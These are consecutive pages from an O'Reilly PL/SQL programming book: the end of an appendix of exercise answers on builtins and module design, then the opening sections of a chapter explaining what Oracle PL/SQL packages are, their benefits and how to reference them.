      CLOSE dept_cur;
   END;
BEGIN
   display_dept (10);
   display_dept (20);
END;

  9. Place the following cursor inside a package, declaring the cursor as a public element (in the specification). The SELECT statement contains all of the columns in the emp table, in the same order.

    PACKAGE emp
IS
   CURSOR emp_cur (dept_in IN INTEGER) RETURN emp%ROWTYPE;
END emp;
PACKAGE emp
IS
   CURSOR emp_cur (dept_in IN INTEGER) RETURN emp%ROWTYPE
   IS
      SELECT empno, ename, job, mgr, hiredate, sal, comm, deptno
        FROM emp
       WHERE deptno = dept_in;
END emp;

A.2.5 Builtin Functions

  1. Identify the appropriate builtin to use for each of the following requirements:

    Requirement

    Builtin

    Calculate the number of days until the end of the month.

    LAST_DAY

    SYSDATE

    Capitalize the first character in a word and lower-case the rest of the word.

    INITCAP

    Convert a date to a string.

    TO_CHAR

    Convert a number to a string.

    TO_CHAR

    Convert a string to a date.

    TO_DATE

    Convert a string to lower case.

    LOWER

    Determine the length of a string.

    LENGTH

    Determine the place of a character in the collating sequence of the character set used by the database.

    ASCII

    Extract the last four characters in a string.

    SUBSTR

    Extract the word found between the first and second _ delimiters in a string.

    INSTR and SUBSTR

    Fill out a number in a string with leading zeroes.

    LPAD

    Find the last blank in a string.

    INSTR

    Find the Saturday nearest to the last day in March 1992.

    ROUND

    Find the third S in a string

    UPPER and INSTR

    Get the first day in the month for a specified date.

    TRUNC

    How many months are between date1 and date2?

    MONTHS_BETWEEN

    I store all my names in uppercase in the database, but want to display them in reports in upper- and lowercase.

    INITCAP

    If it is High Noon in New York, what time is it in Calcutta?

    NEW_TIME

    Remove a certain prefix from a string (for example, change std_company_id to company_id).

    LTRIM or (better yet) SUBSTR

    Replace all instances of _ with a #.

    REPLACE

    Return the error message associated with a SQL error code.

    SQLERRM

    Return the largest integer less than a specified value.

    FLOOR or (TRUNC and DECODE)

    Review all new hires on the first Wednesday after they'd been working for three months.

    NEXT_DAY

    ADD_MONTHS

    Strip all leading numeric digits from a string.

    LTRIM

    What is the current date and time?

    SYSDATE

    What is the date of the last day in the month?

    LAST_DAY

  2. What portion of the string "Curious George deserves what he gets!" (assigned to variable curious_george) is returned by each of the following calls to SUBSTR:

    SUBSTR Usage

    Returns

    SUBSTR (curious_george, -1)

    !
    SUBSTR (curious_george, 1, 7)

    Curious
    SUBSTR (curious_george, 9 6)

    George
    SUBSTR (curious_george, -8, 2)

    he
    SUBSTR (curious_george,
        INSTR (curious_george, -1, ' ') + 1)

    gets!
    SUBSTR (curious_george,
        INSTR (curious_george, -1, ' ', 3) + 1,
        LENGTH ('cute'))

    what
    SUBSTR (curious_george, -1 *
        LENGTH (curious_george))

    entire string

A.2.6 Builtin Packages

  1. What program would you use to calculate the elapsed time of your PL/SQL code execution? To what degree of accuracy can you obtain these timings?

    The DBMS_UTILITY.GET_TIME function returns the number of hundredths of seconds that have elapsed since the last call to DBMS_UTILITY.GET_TIME. So if you compare consecutive calls to this builtin, you have the elapsed time down to the hundredth of a second.

  2. What would you call to make your PL/SQL program pause for a specified number of seconds? What other techniques can you think of which would have this same effect?

    The DBMS_LOCK.SLEEP procedure will put your PL/SQL program to sleep for the number of seconds you pass to it. You can also make a PL/SQL program pause by calling a number of the DBMS_PIPE builtins, such as RECEIVE_MESSAGE and SEND_MESSAGE.

  3. What package can you use to determine if the current session has issued a COMMIT? How would you go about obtaining this information?

    The DBMS_LOCK allows you to determine if a COMMIT has occurred. You use the REQUEST procedure to request a lock specifying TRUE for release_on_commit. Then later in your program you can request this same lock. If you can get the lock, a commit has been performed.

  4. What do you see when you execute the following statements in SQL*Plus (assuming that you have already called SET SERVEROUTPUT ON)?

    I will show the output from each of these calls and then explain them afterwards.

    SQL> execute DBMS_OUTPUT.PUT_LINE (100);
100
SQL> execute DBMS_OUTPUT.PUT_LINE ('     Five spaces in');
Five spaces in
SQL> execute DBMS_OUTPUT.PUT_LINE (NULL);
ERROR at line 1:
ORA-06550: line 1, column 7:
PLS-00307: too many declarations of 'PUT_LINE' match this call
SQL> execute DBMS_OUTPUT.PUT_LINE (SYSDATE < SYSDATE - 5);
ERROR at line 1:
ORA-06550: line 1, column 7:
PLS-00306: wrong number or types of arguments in call to 'PUT_LINE'
SQL> execute DBMS_OUTPUT.PUT_LINE (TRANSLATE ('abc', 'a', NULL));
SQL> execute DBMS_OUTPUT.PUT_LINE (RPAD ('abc', 500, 'def'));
ERROR at line 1:
ORA-20000: ORU-10028: line length overflow, limit of 255 bytes per line

    The first answer of "100" verifies that the DBMS_OUTPUT.PUT_LINE procedure (DOPL for short) puts a line of information to the screen or standard out from inside your PL/SQL program. In the second answer, you notice that the text is not five spaces in. That is because DOPL automatically LTRIMs your text on display in SQL*Plus. When I tried to display NULL, DBMS_OUTPUT could not figure out which of the overloaded versions of PUT_LINE to call because NULL does not have a datatype.

    When I tried to display the value returned by SYSDATE < SYSDATE - 5, DOPL raised an exception because it is not overloaded for Boolean values.

    When I tried to display the output from the TRANSLATE function, nothing happened! This non-event was caused by two factors: first, when you specify NULL for the replacement character set in TRANSLATE, that builtin returns NULL. Second, when you try to display a NULL string (which is different from the NULL literal) or blank line, DOPL simply ignores your request and does nothing.

    When I attempted to display the string "abc" right-padded to a length of 500 with the string "def", I was reminded that DOPL cannot handle pieces of data with more than 255 bytes.

  5. When an error occurs in your program, you want to be able to see which program is currently executing. What builtin packaged function would you call to get this information? If the current program is a procedure named calc_totals in the analysis package, what would you see when you call the builtin function?

    The DBMS_UTILITY.FORMAT_CALL_STACK returns the current execution stack in PL/SQL. If the current program is analysis.calc_totals, however, the string returned by FORMAT_CALL_STACK only tells you that you are executing analysis. It does not know which program inside the package you are running.

  6. You want to build a utility for DBAs that would allow them to create an index from within a PL/SQL program. Which package would you use? Which programs inside that package would be needed?

    To perform SQL DDL inside PL/SQL, you use the DBMS_SQL package. With this package, you dynamically construct the string to create the index and then call the following elements of DBMS_SQL: OPEN_CURSOR to allocate memory for the dynamic SQL; PARSE to parse the statement; and CLOSE_CURSOR to close the cursor. Since you are working with DDL, a parse also executes and commits.

  7. You need to run a stored procedure named update_data every Sunday at 4 AM to perform a set of batch processes. Which builtin package would you use to perform this task?

    You need to pass a string to the submit program to tell it how often to run update_data. What would that string be? The DBMS_JOB package allows you to queue up stored procedures to be executed on a regular or one-time basis. You would call the SUBMIT program of DBMS_JOB. When you call SUBMIT, you pass it a string (which will be executed as dynamic PL/SQL) defining the next time the program will be executed. SYSDATE stands for now and this is the string which means "every Sunday at 4 AM":

    'NEXT_DAY (TRUNC (SYSDATE), ''SUNDAY'') + 4/24'

A.2.7 Modules

  1. In each of the following modules, identify changes you would make to improve their structure, performance or functionality.

    1. Use single RETURN statement at end of function to return value. Put in assertion routine or other form of check to handle situation when invalid (unhandled) status code is passed to routine.

    2. Either remove the OUT parameter or change the function to a procedure.

    3. Do not use a RAISE statement to handle successful completion of function. Consider using explicit cursor rather than implicit cursor.

    4. Do not issue a RETURN from inside a loop. Also, do not issue a RETURN from inside a procedure.

  2. Given the header for calc_profit below, which of the following calls to calc_profit are valid:

    Call to calc_profit

    Good/Bad? Why?

    calc_profit
   (1005, profit_level, 1995, 'ALL', 'FINANCE');

    Great

    calc_profit
   (new_company, profit_level);

    Bad. Must supply value for fiscal year.

    calc_profit
   (company_id_in => 32, fiscal_year_in => 1995,
    profit_out => big_number);

    Good. All three mandatory params are present, even if not in right order.

    calc_profit
   (company_id_in => 32, division_in => 'ACCTG',
    profit_out => 1000);

    Bad. The actual profit_out argument must be a variable.

  3. Suppose you had to use dispdates to satisfy the following requirement: "Display the list of company start dates stored in the date table without any header." I can think of two ways do this:

    dispdates (company_list, num_companies);

    and

    dispdates (company_list, num_companies, NULL);

    Which of these implementations would you choose and why? Is there any reason to choose one over the other?

    It would be tempting to take the first approach. It is less typing. The second form is, however, the correct solution. The reason is this: you were asked to display a list without a header -- with, in other words, a NULL header. You were not asked to display a list with the default header. If you were asked to use the default value, then you can and should simply rely on the default. If you were asked to skip the header, then you should explicitly request a NULL header when you call dispdates. That way, if the default value ever changes, your code is not affected and the format of the display does not change.

A.2.8 Module Evaluation: Foreign Key Lookup

You were asked to evaluate a function that performs a foreign key lookup. My evaluation follows. You will undoubtedly have found other problems as well.

There are many, many problems with the getkey_clrtyp function:

  • It is ugly. Everything is in uppercase, which makes the code hard to read. Indentation in the body of the function is inconsistent. All the code between the BEGIN and END statements should be indented. Then within an IF statement, all code should be indented another level. It indents unevenly and also uses different formats for IF statement indentation within this single program. This poor formatting makes it even more difficult to understand the logical flow of the program.

  • There are side-effects with IN OUT parameters. A function should never have OUT or IN OUT parameters. The point of a function is to return a value through its RETURN clause. If you need to return multiple values, you can either return a composite data structure (a PL/SQL table or record) or change the function to a procedure.

  • The nu_inout argument does not need to be IN OUT, only OUT. The nu_inout argument is only referenced on the left side of an assignment operator. It is, therefore, simply an OUT parameter.

  • No value is returned if name_inout is NULL. If the name_inout argument is NULL, then this function never executes a RETURN statement. This raises a runtime error and is a fatal flaw in a function's design. You should instead use an approach in which the last line of your function issues the single RETURN for that function.

  • The cursor is not closed if no record is found. This is a stylistic as opposed to functional weakness. The cursor will be closed when the function terminates, since it is declared and opened locally. If the cursor were based in a package, on the other hand, it would stay open until closed explicitly when the session ends. Always closing cursors is a good habit to develop -- and you can't go wrong.

  • "Magic values" of 0, 1, and 2 are used as return values of the function. The return values of this function are obscure and poorly designed. There is no way to know by simply glancing at the function what these return values signify. It would be even more difficult for a user of the function to use getkey_clrtyp properly simply by looking at the header of the function. You should always avoid these kinds of "magic values" and literals in your code. If specific values have special meanings, you are much better off defining these as constants in a package and then referencing those constants both inside and outside the function (see the recoding of the function below for an example of this approach).

  • The function name does not describe the value returned. The name getkey_clrtyp describes in the most general terms the objective of the function, but it in no way indicates what kind of value is being returned by the function. Since a function encapsulates a returned value, the name of the function should describe the value.

  • There are multiple RETURN statements. A very fundamental rule for structured programming is that there should be one way in to a program and one way out of the program. In PL/SQL terms, this means that you should only have one RETURN statement in the executable section of the function. When you have more than one RETURN, the code is more difficult to understand, debug and enhance.[1]

    [1] You should also have a RETURN statement for each exception handler, but that is a separate issue and in no way contradicts this structured programming rule.

  • There is an unused variable. I declare the typ_nu variable, but then never use it in the program. You are much better off without such clutter.

Did you find any other problems? I would not be the least bit surprised. Every time I have gone over this program in a class, the students have uncovered additional areas for improvement.

A.2.8.1 A rewrite of the getkey_clrtyp function

The following version of getkey_clrtyp incorporates many of the comments in the previous section. Notice that it is no longer even a function; I have changed it to a procedure so that I can take in and return as many values as needed.

PROCEDURE getkey_clrtyp
   (name_inout IN OUT VARCHAR2,
     nu_inout IN OUT NUMBER,
     get_status_out OUT INTEGER)
IS
   CURSOR clrtyp_cur IS
      SELECT typ_nu, type_ds
        FROM caller_type
       WHERE type_ds LIKE name_inout || '%';

   clrtyp_rec clrtyp_cur%ROWTYPE;
   next_rec clrtyp_cur%ROWTYPE;
   retval NUMBER := NULL;
BEGIN
   IF name_inout IS NULL
   THEN
      get_status_out := get.nullname;
   ELSE
      OPEN clrtyp_cur; FETCH ...;
      IF clrtyp_cur%NOTFOUND
      THEN
         get_status_out := get.notfound;
      ELSE
         FETCH clrtyp_cur INTO next_rec;
         IF clrtyp_cur%NOTFOUND
         THEN
            get_status_out := get.unique_match;
         ELSE
            get_status_out := get.dup_match;
         END IF;
         nu_inout := clrtyp_rec.cllr_typ_nu;
         name_inout := clrtyp_rec.cllr_typ_ds;
      END IF;
      CLOSE clrtyp_cur;
   END IF;
END getkey_clrtyp;

Previous: A.1 Exercises | Advanced Oracle PL/SQL Programming with Packages
A.1 Exercises | Book Index
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 1] PL/SQL Packages

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book
Previous: I. Working With Packages Chapter 1 Next: 1.2 What Are the Types and Layers of Packages?

1. PL/SQL Packages

Contents:
What Is a PL/SQL Package?
What Are the Types and Layers of Packages?
What Are the Benefits of Packages?
Using Packages
Types of Packages
Building Packages

1.1 What Is a PL/SQL Package?

A package is a collection of PL/SQL elements that are "packaged" or grouped together within a special BEGIN-END syntax, a kind of "meta-block." Here is a partial list of the kinds of elements you can place in a package:

  • Cursors

  • Variables (scalars, records, tables, etc.) and constants

  • Exception names and pragmas for associating an error number with an exception

  • PL/SQL table and record TYPE statements

  • Procedures and functions

Packages are among the least understood and most underutilized features of PL/SQL. That's a shame because the package structure is also one of the most useful constructs for building well-designed PL/SQL-based applications. Packages provide a structure to organize your modules and other PL/SQL elements. They encourage proper structured programming techniques in an environment that often befuddles the implementation of structured programming. When you place a program unit into a package you automatically create a "context" for that program. By collecting related PL/SQL elements in a package, you express that relationship in the very structure of the code itself. Packages are often called "the poor man's objects" because they support some, but not all, object-oriented rules.

The PL/SQL package is a deceptively simple, yet powerful construct. It consists of up to two distinct parts: the specification and the body.

  • The package specification, which defines the public interface (API) of the package: those elements that can be referenced outside of the package.

  • The package body, which contains the implementation of the package and elements of the package you want to keep hidden from view.

In just a few hours you can learn the basic elements of package syntax and rules; there's not all that much to it. You can spend weeks and months, however, uncovering all the nuances and implications of the package structure.

Oracle Corporation itself uses the package construct to define and extend the PL/SQL language. In fact, the most basic operators of the PL/SQL language, such as the + and LIKE operators and the INSTR function, are all defined in a special package called STANDARD.[1] Packages will, without doubt, be the preferred method of delivering new functionality in PL/SQL in the coming decade. Just consider PL/SQL packages in the Oracle Web Agent: these add-ons provide a powerful interface between World Wide Web pages/HTML and the Oracle database, allowing you to construct Oracle-aware WWW pages more easily.

[1] If Oracle believes that packages are the way to go when it comes to building both fundamental and complex programs, don't you think that you could benefit from the same?

Previous: I. Working With Packages | Advanced Oracle PL/SQL Programming with Packages | Next: 1.2 What Are the Types and Layers of Packages?
I. Working With Packages | Book Index | 1.2 What Are the Types and Layers of Packages?
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.


[Chapter 1] 1.2 What Are the Types and Layers of Packages?

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

1.2 What Are the Types and Layers of Packages?

Although any PL/SQL package must have the same structure and follow the same rules, there are different types of packages that will play different roles in your application.

Types of Package | Description
Builtin | A builtin package is provided to you by Oracle Corporation, built right into the PL/SQL language as installed. (A builtin package could reside in the database as stored code or could instead be imbedded in a client tool, such as Oracle Developer/2000.)
Prebuilt | Prebuilt packages are libraries of packages that are built by third parties or other developers that are installed in and used by your PL/SQL environment.
Build-Your-Own (BYO) | The very best kind of package: the one you build yourself, or is built by your application development team.

Figure 1.1 shows how these different types of packages interact as layers of PL/SQL code and packages that are available to you. We describe the types further in "Types of Packages" later in this chapter.

Figure 1.1: The layers of PL/SQL code and packages

The lowest layer of code upon which you build your PL/SQL applications is the SQL language. PL/SQL was designed explicitly as a procedural language extension to SQL; most of your PL/SQL programs will function as an interface between a user of some kind and the database.

The next layer of code is the core PL/SQL language. At the center of the PL/SQL universe, we have the STANDARD and DBMS_STANDARD packages, which define the basic elements of the language. When you execute the TO_CHAR function or even use the LIKE operator, you are actually calling elements of the STANDARD package. Since these two packages are the default in PL/SQL, however, you do not have to explicitly reference the package name.

Many PL/SQL developers make use of only these two layers of code, but as you can tell from Figure 1.1, there is much more for you to take advantage of in PL/SQL, in terms of both builtin functionality and code reusability. Oracle Corporation provides a vast suite of builtin packages which extend the PL/SQL language itself and which, from a layering standpoint, sit directly above the core language elements. These packages have either the DBMS_ or UTIL_ prefix on their names. At the same level -- because they are used in precisely the same manner -- are prebuilt packages (and other kinds of prebuilt stored code, such as procedures and functions). PL/Vision is an example of prebuilt code: a library of packages. Once they have been installed and access has been granted to them, all of these packages are available for your use.

The next three layers of code represent the different kinds of reusable code you can and should build into your own environment. The enterprise-wide stored code is very similar to prebuilts: packages and other program units that are shared throughout an entire enterprise (i.e., the corporation). The application-wide stored code is the body of PL/SQL programs that are reused throughout a particular application. The developer's toolbox is the individual developer's set of code that he uses to enhance his own development efforts.

The enterprise-wide, application-wide, and developer toolbox packages are all examples of "build-your-own" packages.

All of those different, reusable layers of code (colored in white) exist to help developers build their custom applications as rapidly as possible. In Figure 1.1, the custom code is represented by the gray areas. Notice that the gray areas are in contact with all layers of the reusable code. This makes sense because your own code will undoubtedly include SQL statements, calls to the builtin functions and PL/SQL operators, and so on, right up through the layers. While it is important to be able to access those lower levels of code, however, you should always leverage programs from the highest level possible. This principle is illustrated by the dashed-line triangle in the figure; I call it the "iceberg" approach to writing PL/SQL code.

1.2.1 The Iceberg Approach to Coding

The tip of the iceberg appears in the custom code section. This portion of the triangle represents our own program, for example, procedure calc, which performs calculations for an order entry system. Only a small portion of the triangle resides in the custom code area. That is because it makes use of all of the other layers of reusable PL/SQL code, keeping the custom code to an absolute minimum. The triangle broadens as it descends through the layers because each higher-level program typically utilizes many elements in the layers below it.

If you take fullest possible advantage of the many layers of reusable code in PL/SQL, your own custom programs will resemble an iceberg floating heavily in the sea. A person looking at your code will wonder at its brevity and clarity. He or she will wonder: how does this little program get the job done? The answer is that the custom program is just the tip of the iceberg. The visible portion is just a hint at the bulk of code below the surface, powerful and solid.

1.2.2 The Client-Side Layers

There are also a few layers on the client side of the equation. If you also use Oracle Developer/2000, you can also take advantage of the fact that PL/SQL is available as a client-side language inside that tool suite. (The PL/SQL of Oracle Developer/2000 Release 1 is, however, only PL/SQL Release 1.1 and this can cause many complications. See Oracle PL/SQL Programming, Appendix B, for more information. Release 2 of Oracle Developer/2000 will support PL/SQL, simplifying all of our lives greatly.) In this case, you can make use of call programs from the builtin packages of Oracle Developer/2000. These packages offer access to functionality specific to the client-side environment, such as OLE and DDE.

With Oracle Developer/2000 you can also construct PL/SQL libraries, which can be shared across different Oracle Developer/2000 modules. Finally, you can also build your own client-side packages. These BYO client-side packages can execute code from an Oracle Developer/2000 builtin package, a BYO server-side package, prebuilt packages like PL/Vision, and server-side builtin packages.

Now, that is a lot of code to choose from. Of course, you have to be able to figure out what is available and how to use it -- and that is just the kind of challenge PL/Vision tries to address for you.

Before diving into PL/Vision, though, Part I will bring you up to speed on the structure, features, and best practices of PL/SQL packages.

Previous: 1.1 What Is a PL/SQL Package? | Advanced Oracle PL/SQL Programming with Packages | Next: 1.3 What Are the Benefits of Packages?
1.1 What Is a PL/SQL Package? | Book Index | 1.3 What Are the Benefits of Packages?
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 1] 1.3 What Are the Benefits of Packages?

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

1.3 What Are the Benefits of Packages?

Before exploring the architecture of packages and how best to build them, let's look at some of the most important benefits of the package.

1.3.1 Enforced Information Hiding

When you build a package, you decide which of the package elements are public (can be referenced outside of the package) and which are private (available only within the package itself). You also can restrict access to the package to only the specification. In this way, you use the package to hide the implementation details of your programs. This is most important when you want to isolate the most volatile aspects of your application, such as platform dependencies, frequently changing data structures, and temporary workarounds.

1.3.2 Object-Oriented Design

While PL/SQL does not yet offer full object-oriented capabilities, packages do offer the ability to follow many object-oriented design principles. The package gives developers very tight control over how the modules and data structures inside the package can be accessed.

You can, therefore, embed all the rules about your entities (whether they are database tables or memory-based structures), and access to them, in the package. Since this is the only way to work with that entity, you have in essence created an abstracted and encapsulated object.

1.3.3 Top-Down Design

A package's specification can be written before its body. You can, in other words, design the interface to the code hidden in the package (the modules, their names, and their parameters) before you have actually implemented the modules themselves. This feature dovetails nicely with top-down design, in which you move from high-level requirements to functional decompositions to module calls.

Of course, you can design the names of standalone modules just as you can the names of packages and their modules. The big difference with the package specification is that you can compile it even without its body or implementation. Furthermore and most remarkably, programs that call packaged modules also compile successfully -- even if nothing more than the specification has been defined.

1.3.4 Object Persistence

PL/SQL packages offer the ability to implement global data in your application environment. Global data is information that persists across application components; it isn't just local to the current module. If you have designed screens with SQL*Forms or Oracle Forms, you are probably familiar with its GLOBAL variables, which allow you to pass information between screens. Those globals have many limitations (e.g., GLOBAL variables are always represented as fixed-length CHAR variables with a length of 254), but they sure can be useful. Package-based data gets around all these limitations.

Objects declared in a package specification (that is, visible to anyone with execute authority on that package) act as global data for all PL/SQL objects in the application. If you have access to the package, you can modify package variables in one module and then reference those changed variables in another module. This data persists for the duration of a user session (connection to the database).

And your global data doesn't consist merely of scalar data like numbers. If, for example, a packaged procedure opens a cursor, that cursor remains open and is available to other packaged routines throughout the session. You do not have to explicitly define the cursor in each program. You can open it in one module and fetch it in another module.

Finally, package variables can carry data across the boundaries of transactions, since they are tied to the session itself and not to a transaction.

1.3.5 Guaranteeing Transaction Integrity

The RDBMs and SQL language give you the ability to tightly control access to, and changes in, any particular table. With the GRANT command you can, for example, make sure that only certain roles and users have the ability to perform an UPDATE on a given table. But this GRANT statement cannot make sure that the UPDATEs performed by a user or application that affect multiple tables conform to all complex business rules.

In a typical banking transaction, for example, you might need to transfer funds from account A to account B. The balance of account B must be incremented, and that of account A decremented. Table access is necessary, but not sufficient, to guarantee that both of these steps are always performed by all programmers who write code to perform a transfer. With stored code in general, and packages in particular, you can guarantee that a funds transfer either completes successfully or is completely rolled back -- regardless of who executes the process.

The secret to achieving this level of transaction integrity is the execute authority concept. Instead of granting the authority to update a table to a role or user, you grant privileges to that role/user only to execute a procedure. This procedure controls and provides access to the underlying data structures. The procedure is owned by a separate Oracle RDBMs account, which, in turn, is granted the actual update privileges on those tables needed to perform the transaction. The procedure therefore becomes the gatekeeper for the transfer transaction. The only way a program (whether it is an Oracle Forms application or a Pro*C executable) can execute the transfer is through the procedure, thus guaranteeing transaction integrity.

1.3.6 Performance Improvement

When an object in a package is referenced for the first time, the entire package (already compiled and validated) is loaded into memory (the System Global Area, or SGA, of the RDBMs). All other package elements are thereby made immediately available for future calls to the package. The PL/SQL runtime engine does not have to keep retrieving program elements or data from disk each time a new object is referenced.

This feature is especially important in a distributed execution environment. You may reference packages from different databases across a local-area or even a wide-area network. You want to minimize the network traffic involved in executing your code.

Packages also offer performance advantages on the development side, with a potential impact on overall database performance. The Oracle RDBMs automatically tracks the validity of all program objects (procedures, functions, packages) stored in the database. It determines what other objects that program is dependent on, such as tables. If a dependent object changes (for example, a table's structure changes), then all programs that rely on that object are flagged as invalid. The database then automatically recompiles these invalid programs when they are referenced next.

You can limit the need for recompiles by placing functions and procedures inside packages. If program A calls packaged module B, it does so through the package's specification. As long as the specification of a packaged module does not change, any program that calls the module is not flagged as invalid and will not have to be recompiled.

This brief review of the benefits of packages should help focus your interest on this fascinating and powerful element of the PL/SQL language.

Previous: 1.2 What Are the Types and Layers of Packages? | Advanced Oracle PL/SQL Programming with Packages | Next: 1.4 Using Packages
1.2 What Are the Types and Layers of Packages? | Book Index | 1.4 Using Packages
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 1] 1.4 Using Packages

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

1.4 Using Packages

Whether you are referencing an element in a builtin package, prebuilt package, or build-your-own package, the syntax is the same. One thing to remember is that a package itself is not any kind of executable piece of code. Instead, it is a repository for code that is executed or otherwise used. When you use a package, you actually execute or make reference to an element in a package. To use a package you must know what is defined and available inside the package. This information is contained in the package specification.

1.4.1 The Package Specification

The package specification contains the definition or specification of all elements in the package that may be referenced outside of the package. These are called the public elements of the package. Here is a very simple package specification consisting of two procedures:

PACKAGE sp_timer
IS
   PROCEDURE capture;
   PROCEDURE show_elapsed;
END sp_timer;

(The sp_timer package is an early version of the PLVtmr package, used to time PL/SQL code execution.) What do you learn by looking at this specification? That you can call either the capture or the show_elapsed procedures of sp_timer -- and that is it.

The package specification contains all the code needed for a developer to understand how to call the objects in the package. A developer should never have to examine the code behind the specification (which is the body) in order to understand how to use and benefit from the package.

Here is a more generic representation of the syntax for a package specification:

PACKAGE package_name
IS
   [ declarations of variables and types ]
   [ headers of cursors ]
   [ headers of procedures and functions ]
END [ package_name ];

You can declare variables and include headers of both cursors and modules (and only the specifications). You must have at least one declaration or header statement in the package specification.

Notice that the package specification has its own BEGIN-END block syntax. This establishes a named context for all the elements of the package and allows them to exist outside of any particular PL/SQL block, such as a procedure or function.

Now let's take a look at a more complex package specification and use that as a springboard to learn how to execute and reference package-based PL/SQL code. Example 1.1 shows the specification for the pets_r_us package, which is used by veterinarians to keep track of their patients and to determine when a pet needs another visit.

Example 1.1: The specification of the pets_r_us package

PACKAGE pets_r_us
IS
   max_pets_in_facility CONSTANT INTEGER := 120;
   pet_is_sick EXCEPTION;
   next_appointment DATE := SYSDATE;
   CURSOR onepet_cur (pet_id_in IN INTEGER) RETURN pet%ROWTYPE;
   CURSOR allpets_cur IS SELECT pet_id, name, owner FROM pet;
   FUNCTION next_pet_shots (pet_id_in IN NUMBER) RETURN DATE;
   PROCEDURE set_schedule (pet_id_in IN NUMBER);
END pets_r_us;

The pets_r_us package specification shown in Example 1.1 declares a constant, an exception, a variable, two cursors, a function, and a procedure. The constant informs us that the package restricts the number of pets allowed in the facility to 120. The pets_r_us package also provides an exception that can be used throughout the application to indicate that a pet is sick. It offers a predefined variable to hold the date of the next appointment and initializes that variable to today's date.

The code in this package might look odd to you; only the headers are present for the function and procedure. The executable code for these modules is, in fact, hidden in the package body (explored later in this chapter). A package specification never contains executable statements; you should not have to see this code in order to understand how to call the program.

Notice the difference between the two cursors. The first cursor, onepet_cur, takes a single parameter (primary key for a pet) and returns a record with the same structure as the pet table. The SELECT statement for this query is not, however, present. Instead, the query is hidden in the package body (the SQL is, after all, the implementation of the cursor) and the RETURN clause is used. In the second cursor, the RETURN clause is replaced by the actual query for the cursor. You can take either approach to cursors in packages.

1.4.2 Referencing Package Elements

A package owns its elements, just as a table owns its columns. An individual element of a package only makes sense, in fact, in the context of the package. Consequently, you use the same dot notation employed in "table.column" syntax for "package.element". Let's take a look at this practice by calling elements of the pets_r_us package.

In the following IF statement, I check to see if I am allowed to handle more than 100 pets in the facility:

IF pets_r_us.max_pets_in_facility > 100
   THEN
      ...
   END IF;

In this exception section, I check for and handle the situation of a sick pet:

EXCEPTION
   WHEN pets_r_us.pet_is_sick
   THEN
      ...
END;

I can open the cursor defined in a package by prefixing the package name to the cursor and passing any required arguments:

OPEN pets_r_us.onepet_cur (1305);

In the following statement, I assign (to the package variable next_appointment) the date for the next shot for a pet identified by an Oracle Forms host variable (indicated by the use of the : before the block.item name):

:pets_r_us.next_appointment
      := pets_r_us.next_pet_shots (:pet_master.pet_id);

And if you forget to qualify a package element with its package name? The compiler will try to find an unqualified element (table, standalone procedure, etc.) with the same name and characteristics. Failing that, your code will not compile.

1.4.2.1 Unqualified package references

There is one exception to the rule of qualifying a package element with its package name. Inside the body of a package, you do not need to qualify references to other elements of that package. PL/SQL will automatically resolve your reference within the scope of the package; the package is the "current" context. Suppose, for example, that the set_schedule procedure of pets_r_us (defined in the package specification) references the max_pets_in_facility constant. Such a reference would be unqualified, as shown below in the partial implementation of set_schedule (found in the package body):

PROCEDURE set_schedule (pet_id_in IN NUMBER)
IS
   total_pets NUMBER := pet_analysis.current_load;
BEGIN
   ...
   IF total_pets < max_pets_in_facility
   THEN
      ...
   END IF;
END;

There is no need to preface the "maximum pets" constant with pets_r_us. There is a need, on the other hand, to prefix the reference to the current_load function of the pet_analysis package.

1.4.3 The Memory-Resident Architecture of Packages

To use packages most effectively, you must understand the architecture of these constructs within an Oracle Server instance. Figure 1.2 shows how the different elements of shared memory are employed to support both package code and data.

Figure 1.2: The architecture of packages in shared memory

Before exploring the relationships in Figure 1.2, keep these basic principles in mind:

  • The compiled code for stored objects (procedures, functions, and packages) is shared by all users of the instance with execute authority on that code.

  • Each Oracle session has its own copy of the in-memory data defined within stored objects.

  • The Oracle Server applies a least-recently used (LRU) algorithm to maintaining compiled code in shared memory.

When a user executes a stored program or references a package-based data structure, the PL/SQL runtime engine first must make sure that the compiled version of that code is available in the System Global Area or SGA of the Oracle instance. If the code is present in the SGA, it is then executed for that user. If the code is not present, the Oracle Server reads the compiled code from disk and loads it into the shared memory area. At that point the code is available to all users with execute authority on that code.

So if session 1 is the first account in the Oracle instance to reference package A, session 1 will cause the compiled code for A to be loaded into shared memory. When session 2 references an element in package A, that code is already present in shared memory and is re-used.

A user's relationship to data structures defined in stored code, particularly package data, is very different from that of the compiled code. While the same compiled code is shared, each user gets her own version of the data. This process is clear for procedures and functions. Any data declared in the declaration section of these programs is instantiated, manipulated, and then, on the termination of that program, erased. Every time a user calls that procedure or function, she gets her own local versions of the data.

